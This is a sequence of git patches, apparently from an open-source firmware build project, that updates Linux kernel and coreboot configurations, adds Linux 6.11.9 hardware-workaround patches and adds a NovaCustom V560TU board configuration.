CONFIG_NMI_CHECK_CPU is not set # CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set @@ -3302,12 +3465,9 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_PLIST is not set # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set -# CONFIG_BUG_ON_DATA_CORRUPTION is not set # CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures -# CONFIG_DEBUG_CREDENTIALS is not set - # # RCU Debugging # @@ -3316,6 +3476,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 +# CONFIG_RCU_CPU_STALL_CPUTIME is not set # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging @@ -3335,6 +3496,7 @@ CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y CONFIG_HAVE_OBJTOOL_MCOUNT=y +CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y diff --git a/modules/coreboot b/modules/coreboot index 23de9a45c..1586a3ac8 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -93,8 +93,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 3a9aa3a4692f3dd49732f5b4e3ec54be385f0969 -coreboot-dasharo_patch_version := unreleased +coreboot-dasharo_commit_hash := db1d9cd59d0d7d5b708bbdf8670780914061410c $(eval $(call coreboot_module,dasharo,)) # Check that the board configured the coreboot version correctly diff --git a/patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch b/patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch deleted file mode 100644 index 6f626ae32..000000000 --- a/patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch +++ /dev/null @@ -1,27 +0,0 @@ -From 6cd77aa95a7ab46771874b72c7dba6b3600d9b29 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= -Date: Mon, 13 May 2024 09:31:27 +0200 -Subject: [PATCH] src/mainboard/clevo/adl-p/Kconfig: Add missing TPM PIRQ for - NV41 -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -Signed-off-by: Michał Żygowski ---- - src/mainboard/clevo/adl-p/Kconfig | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/src/mainboard/clevo/adl-p/Kconfig b/src/mainboard/clevo/adl-p/Kconfig -index 6e4b679d4d1..e9bcf53c7be 100644 ---- a/src/mainboard/clevo/adl-p/Kconfig -+++ b/src/mainboard/clevo/adl-p/Kconfig -@@ -115,7 +115,7 @@ config FMDFILE - default "src/mainboard/\$(CONFIG_MAINBOARD_DIR)/vboot-rwa.fmd" if VBOOT && VBOOT_SLOTS_RW_A - - config TPM_PIRQ -- default 0x27 if BOARD_CLEVO_NS50PU_BASE # GPP_E1 -+ default 0x27 # GPP_E1 - - config SOC_INTEL_CSE_SEND_EOP_EARLY - default n diff --git a/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch b/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch deleted file mode 100644 index adb939789..000000000 --- a/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch +++ /dev/null @@ -1,37 +0,0 @@ -From b83a7607203d285b76e94ffd2013c55b184f5d42 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= -Date: Wed, 30 Oct 2024 10:50:37 +0100 -Subject: [PATCH] security/tpm/tspi/log-tpm1.c: Clear whole log area on - creation -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -The log area was not entirely cleared on creation resulting in -garbage after the last valid lgo entry. It caused the cbmem utility -to parse invalid events and access data outside the log area. -In the TPM2 log sources, the entire area is being cleared, thus the -issue has not been observed. - -Change-Id: I7c780b62b1c6507e1dd1806b20b0270e364cde3d -Signed-off-by: Michał Żygowski ---- - src/security/tpm/tspi/log-tpm1.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/src/security/tpm/tspi/log-tpm1.c b/src/security/tpm/tspi/log-tpm1.c -index 481b569cd5..453e74b4e8 100644 ---- a/src/security/tpm/tspi/log-tpm1.c -+++ b/src/security/tpm/tspi/log-tpm1.c -@@ -33,7 +33,7 @@ void *tpm1_log_cbmem_init(void) - if (!tclt) - return NULL; - -- memset(tclt, 0, sizeof(*tclt)); -+ memset(tclt, 0, tpm_log_len); - hdr = &tclt->spec_id; - - /* Fill in first "header" entry. */ --- -2.39.5 - From 4394052b7210cbdb7da0e7cc4a6c27370cde514e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 22 Nov 2024 11:36:08 -0500 Subject: [PATCH 357/619] modules/linux: add Linux 6.11.9 Signed-off-by: Thierry Laurion --- .../novacustom-v540tu.config | 2 +- modules/linux | 5 ++- patches/linux-6.11.9/0001-fake-acpi.patch | 32 +++++++++++++++++++ .../linux-6.11.9/0010-winterfell-ahci.patch | 18 +++++++++++ 4 files changed, 55 insertions(+), 2 deletions(-) create mode 100644 patches/linux-6.11.9/0001-fake-acpi.patch create mode 100644 patches/linux-6.11.9/0010-winterfell-ahci.patch diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index a4935210d..7938254fa 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -2,7 +2,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo -export CONFIG_LINUX_VERSION=6.1.8 +export CONFIG_LINUX_VERSION=6.11.9 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config diff --git a/modules/linux b/modules/linux index 416d2b8d0..464130f91 100644 --- a/modules/linux +++ b/modules/linux @@ -34,6 +34,9 @@ linux_hash := 40f014d53e81f204f6d2a364aae4201ae07970dd1b70dc602d7c66c1a140f558 else ifeq "$(CONFIG_LINUX_VERSION)" "6.1.8" linux_version := 6.1.8 linux_hash := b60bb53ab8ba370a270454b11e93d41af29126fc72bd6ede517673e2e57b816d +else ifeq "$(CONFIG_LINUX_VERSION)" "6.11.9" +linux_version := 6.11.9 +linux_hash := 75658a7aa3bd9598c96ee1e5862c5e1d34fced75c28d825c727a1510a6f384b4 else $(error "$(BOARD): does not specify linux kernel version under CONFIG_LINUX_VERSION") endif @@ -280,7 +283,7 @@ linux.save_in_versioned_defconfig_format: # This one can be used in kernel version bump, which will accept all new defconfig options for the new version. # PLEASE VERIFY CHANGES AND KEEP THINGS MINIMAL IN PRs. -linux.save_in_oldconfig_format_in_place: +linux.save_in_olddefconfig_format_in_place: mkdir -p "$(build)/$(linux_dir)" \ && cp "$(pwd)/$(linux_kconfig)" "$(build)/$(linux_dir)/.config" \ && $(MAKE) -C "$(build)/$(linux_base_dir)" \ diff --git a/patches/linux-6.11.9/0001-fake-acpi.patch b/patches/linux-6.11.9/0001-fake-acpi.patch new file mode 100644 index 000000000..0c8b3b546 --- /dev/null +++ b/patches/linux-6.11.9/0001-fake-acpi.patch @@ -0,0 +1,32 @@ +diff --recursive -u ./clean/linux-4.9.80/drivers/acpi/acpica/evxfevnt.c linux-4.9.80/drivers/acpi/acpica/evxfevnt.c +--- ./clean/linux-4.9.80/drivers/acpi/acpica/evxfevnt.c 2018-02-03 11:05:43.000000000 -0500 ++++ linux-4.9.80/drivers/acpi/acpica/evxfevnt.c 2018-02-07 15:51:28.786502597 -0500 +@@ -111,6 +111,8 @@ + } + + ACPI_ERROR((AE_INFO, "Hardware did not enter ACPI mode")); ++printk("%s:%d faking ACPI mode\n", __func__, __LINE__); ++ return_ACPI_STATUS(AE_OK); + return_ACPI_STATUS(AE_NO_HARDWARE_RESPONSE); + } + +diff --recursive -u ./clean/linux-4.9.80/drivers/acpi/acpica/hwacpi.c linux-4.9.80/drivers/acpi/acpica/hwacpi.c +--- ./clean/linux-4.9.80/drivers/acpi/acpica/hwacpi.c 2018-02-03 11:05:43.000000000 -0500 ++++ linux-4.9.80/drivers/acpi/acpica/hwacpi.c 2018-02-07 15:51:35.126557868 -0500 +@@ -168,12 +168,16 @@ + + status = acpi_read_bit_register(ACPI_BITREG_SCI_ENABLE, &value); + if (ACPI_FAILURE(status)) { ++printk("%s:%d faking ACPI mode\n", __func__, __LINE__); ++ return_UINT32(ACPI_SYS_MODE_ACPI); + return_UINT32(ACPI_SYS_MODE_LEGACY); + } + + if (value) { + return_UINT32(ACPI_SYS_MODE_ACPI); + } else { ++//printk("%s:%d faking ACPI mode\n", __func__, __LINE__); ++// return_UINT32(ACPI_SYS_MODE_ACPI); + return_UINT32(ACPI_SYS_MODE_LEGACY); + } + } diff --git a/patches/linux-6.11.9/0010-winterfell-ahci.patch b/patches/linux-6.11.9/0010-winterfell-ahci.patch new file mode 100644 index 000000000..7f2417736 --- /dev/null +++ b/patches/linux-6.11.9/0010-winterfell-ahci.patch @@ -0,0 +1,18 @@ +diff --recursive -u ./clean/linux-4.9.80/drivers/ata/libahci.c linux-4.9.80/drivers/ata/libahci.c +--- ./clean/linux-4.9.80/drivers/ata/libahci.c 2018-02-03 11:05:43.000000000 -0500 ++++ linux-4.9.80/drivers/ata/libahci.c 2018-02-07 18:02:32.526535910 -0500 +@@ -537,8 +537,12 @@ + } + + /* fabricate port_map from cap.nr_ports for < AHCI 1.3 */ +- if (!port_map && vers < 0x10300) { +- port_map = (1 << ahci_nr_ports(cap)) - 1; ++ if (!port_map) { // && vers < 0x10300) { ++ printk("%s: saved_port=%02x\n", __func__, hpriv->saved_port_map); ++ writel(0x1, mmio + HOST_PORTS_IMPL); ++ port_map = readl(mmio + HOST_PORTS_IMPL); ++ ++ //port_map = (1 << ahci_nr_ports(cap)) - 1; + dev_warn(dev, "forcing PORTS_IMPL to 0x%lx\n", port_map); + + /* write the fixed up value to the PI register */ From 059a60e43ef38d7b7a6c0da94adeb8f1f61d4219 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 22 Nov 2024 12:24:17 -0500 Subject: [PATCH 358/619] .circleci/config.yml nitropad-nv41 name changed -> novacustom_nv4x_adl Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 0c79d75a8..1db3a88df 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -523,7 +523,7 @@ workflows: target: novacustom-v540tu subcommand: "" requires: - - nitropad-nv41 + - novacustom_nv4x_adl # coreboot 4.11 - build: From cf02a2914e45f841448f8c53b338307375e3e072 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Thu, 28 Nov 2024 17:07:59 +0100 Subject: [PATCH 359/619] config/coreboot-novacustom-v540tu.config: disable debug console MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index 363f525c7..4f84948c1 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -213,7 +213,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="debug console=uart,mmio32,0xfe02c000" +CONFIG_LINUX_COMMAND_LINE="debug" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set From 4a3667b78c06ea7452ed1a154a3eb7f72d5cb822 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Thu, 28 Nov 2024 17:08:33 +0100 Subject: [PATCH 360/619] boards/novacustom-v540tu/novacustom-v540tu.config: remove unneeded debug options MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- boards/novacustom-v540tu/novacustom-v540tu.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 7938254fa..042fa2ffd 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -8,8 +8,8 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config #Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp #export CONFIG_TPM2_CAPTURE_PCAP=y From b6f5c6d2450bec382053ba045519619525f9d2bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 29 Nov 2024 18:50:45 +0100 Subject: [PATCH 361/619] modules/coreboot: update comment about Dasharo coreboot fork MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 1586a3ac8..aaaabf7b8 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -91,7 +91,8 @@ coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git coreboot-purism_commit_hash := bea9947a1279be7d4a72b38a601d0288d10d1cb8 $(eval $(call coreboot_module,purism,24.02.01)) -# MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port +# MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo +# coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := db1d9cd59d0d7d5b708bbdf8670780914061410c $(eval $(call coreboot_module,dasharo,)) From 0cdba412efd32347afe5db35f821dcb57a79c029 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Mon, 2 Dec 2024 12:22:11 +0100 Subject: [PATCH 362/619] modules/coreboot: dasharo: reuse 24.02.1 toolchain MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index aaaabf7b8..e37cd6db0 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -95,7 +95,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := db1d9cd59d0d7d5b708bbdf8670780914061410c -$(eval $(call coreboot_module,dasharo,)) +$(eval $(call coreboot_module,dasharo,24.02.01)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From ad6605d84b797606cfe4824801de4d5616f6f586 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 29 Nov 2024 19:20:30 +0100 Subject: [PATCH 363/619] config/coreboot-novacustom-v540tu.config: set version to rc1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index 4f84948c1..d1a51a7a4 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -7,7 +7,7 @@ # General setup # CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="v0.9.0-rc6" +CONFIG_LOCALVERSION="v0.9.0-rc1" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set From 0f339496a715db4a44629854b8d208b7b010ad12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 29 Nov 2024 19:20:59 +0100 Subject: [PATCH 364/619] Add NovaCustom V560TU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit as a copy of V540TU Signed-off-by: Michał Kopeć --- .../novacustom-v560tu.config | 71 ++ config/coreboot-novacustom-v560tu.config | 943 ++++++++++++++++++ 2 files changed, 1014 insertions(+) create mode 100644 boards/novacustom-v560tu/novacustom-v560tu.config create mode 100644 config/coreboot-novacustom-v560tu.config diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config new file mode 100644 index 000000000..b3665105a --- /dev/null +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -0,0 +1,71 @@ +# NovaCustom V54 MTL (integrated graphics) board configuration + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=dasharo +export CONFIG_LINUX_VERSION=6.11.9 + +CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v560tu.config +CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="NovaCustom V540TU" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config new file mode 100644 index 000000000..a80dc4f46 --- /dev/null +++ b/config/coreboot-novacustom-v560tu.config @@ -0,0 +1,943 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="v0.9.0-rc1" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +CONFIG_VENDOR_CLEVO=y +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_NOVACUSTOM is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Not Applicable" +CONFIG_MAINBOARD_PART_NUMBER="V54x_6x_TU" +CONFIG_MAINBOARD_VERSION="V560TU" +CONFIG_MAINBOARD_DIR="clevo/mtl-h" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=1024 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Clevo" +CONFIG_CBFS_SIZE=0x1000000 +CONFIG_CONSOLE_SERIAL=y +CONFIG_MAX_CPUS=22 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set +# CONFIG_POST_IO is not set +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_VARIANT_DIR="igpu" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 + +# +# Alder Lake P +# +# CONFIG_BOARD_CLEVO_NS50PU is not set +# CONFIG_BOARD_CLEVO_NV40PZ is not set + +# +# Comet Lake U +# +# CONFIG_BOARD_CLEVO_L140CU is not set + +# +# Kaby Lake U +# +# CONFIG_BOARD_CLEVO_N130WU is not set + +# +# Meteor Lake H +# +# CONFIG_BOARD_CLEVO_V540TNX is not set +# CONFIG_BOARD_CLEVO_V560TNX is not set +CONFIG_BOARD_CLEVO_V560TU=y +# CONFIG_BOARD_CLEVO_V560TU is not set + +# +# Tiger Lake U +# +# CONFIG_BOARD_CLEVO_L140MU is not set +# CONFIG_BOARD_CLEVO_NV40MZ is not set +# CONFIG_BOARD_CLEVO_NS50MU is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="V54x_6x_TU" +# CONFIG_CONSOLE_POST is not set +# CONFIG_USE_PM_ACPI_TIMER is not set +CONFIG_TPM_PIRQ=0x61 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" +CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_PXE_ROM_ID="10ec,8168" +CONFIG_BOARD_CLEVO_MTLH_COMMON=y +CONFIG_BOARD_CLEVO_V5X0TU_BASE=y +CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0xc0000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/me.bin" +CONFIG_GBE_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x200000 +CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=36 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=42 +CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +CONFIG_PS2K_EISAID="PNP0303" 